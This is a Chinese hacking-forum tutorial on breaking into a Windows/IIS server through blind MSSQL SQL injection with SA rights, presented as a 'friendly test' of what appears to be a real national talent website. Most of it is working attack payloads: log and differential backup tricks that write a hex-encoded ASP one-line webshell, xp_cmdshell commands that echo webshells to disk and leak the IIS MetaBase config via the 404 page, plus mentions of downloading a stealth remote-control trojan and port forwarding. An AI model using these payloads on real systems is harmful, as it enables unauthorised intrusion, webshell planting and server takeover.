sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————

* r/ A3 U5 K2 A$ V
                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
; y' L; R  A- }7 x
5 P6 B) f) v! Y$ I/ A                                                                 
9 m. |% _2 v8 x/ Q5 J                                                                 
                                                                  论坛： http://www.90team.net/

, y) j. f2 m$ n- e0 Y  C
5 w4 ^% c5 ^  P. n0 n8 P
友情检测国家人才网
/ m3 h1 s' q3 r; W7 V9 u# m
7 E% j3 o% m; y  v; E
内容：MSSQL注入SA权限不显错模式下的入侵


一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
- Q& U! P" z. _! N

% W/ z" @* i8 ]/ g这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
, x% F/ S$ m, N7 }
2 v( t( \) J1 d思路：
( d4 a) D' W  p* l3 c* @8 Z. j
+ t& ]- m+ Y+ H, U首先：

. m) F1 ~' Q: d( f4 ]% a1 [& s2 r通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

1.日志备份获得Webshell
! {1 T! H4 \! G2 |
: i+ J) ]( [. g& _! b2.数据库差异备份获得Webshell

4.直接下载免杀远控木马。

: f6 \- H# G, R; E4 [  n/ C5.直接下载LCX将服务器端口转发出来
# u& p( u' M/ T+ N: {
  j4 q% N  k1 M' A2 I) F- z6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。



在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

我直接演示后面一个方法

/ ^! w0 i* {1 n- T
分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
8 p6 @2 f9 G* t



; E2 o8 a% i8 v  A: E◆日志备份：


1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

, c4 K2 @! q3 X* h2. 插入数据
! z, k3 d7 W& z( N! f;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
8 V0 a6 x* V4 i( q& Z" }
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
! E: K/ `" i; d; N; R# Z  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
* `9 F; W* }1 A- G0 L9 T2 s


◆数据库差异备份
3 U2 D8 k( |) w, [' \9 W
（1. 进行差异备份准备工作

$ O# R9 [. l  i8 V;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
2 G: U6 H9 \! g" r5 Y2 B% Z7 u
  v8 H6 r$ ?( @' j8 Y上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
: Z5 e6 H5 ?9 Q  J

（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

7 u+ \: E! P( X9 J! T# K5 P0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
! h0 X0 r9 }8 s5 w( \
  x, M: }/ u/ F8 N; n3. 备份数据库并清理临时文件
( j% _6 ~9 k+ o6 j* G' n
# F/ N0 ]5 Q" v; r;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
# W4 J# k+ `+ R1 y" L! B
$ o9 }7 }0 m6 G- o' E) B9 ~

% u6 c" @! s1 A/ [8 ^' L" }9 d用^转义字符来写ASP(一句话木马)文件的方法:   

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

$ {: a3 `8 E) d) Y2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

) n+ C0 k' M- l& I% M读取IIS配置信息获取web路径
6 Q8 j6 Z0 u8 H$ b$ H
     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

执行命令
! P+ m: j$ l6 f! [; _' J     
% L2 T6 Q/ M3 F; r     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
$ b7 f5 h, c. e2 K; R" ]
" k" I2 V' B8 `0 V( r% t8 ?



! B  M; d1 ]9 q) e4 `+ K: P
; i6 e, i0 M' D, ?5 t
3 h+ G) R% }2 u) ]3 A! }0 a1 ?: M) @

  E% ]* F/ M6 z" m




' @. ]) @( Y4 o! g( |' C5 [  V( z

* W4 B( n7 T- v/ x% x2 E( }# u
. h8 n3 ^! E+ L


8 o, X2 M9 b$ e& H# B, a' Y
* u2 Y" u' G( I* |) x, o
: ]* ]7 a0 z4 b/ U' s/ }7 D: _0 z

' d( Y7 e5 \( ~9 [/ C2 z
! r: l0 m9 R) n- O  n. J# t! Z

9 S$ E, ^, |+ k, c0 {- T
$ l) J# }- Z2 X7 n+ j


) m# C% B8 E- ?


5 h+ f+ B( @, t' m
2 A7 Q/ p5 h/ j
1 F+ c$ I' Q3 g: n



- F5 z( d# O! i2 ~! k" A

/ L4 G/ s; w; n1 S/ D5 D& z0 [5 @9 _
- s" g8 z  C& g7 [


" d& ~" S$ I: z& z6 C6 b, h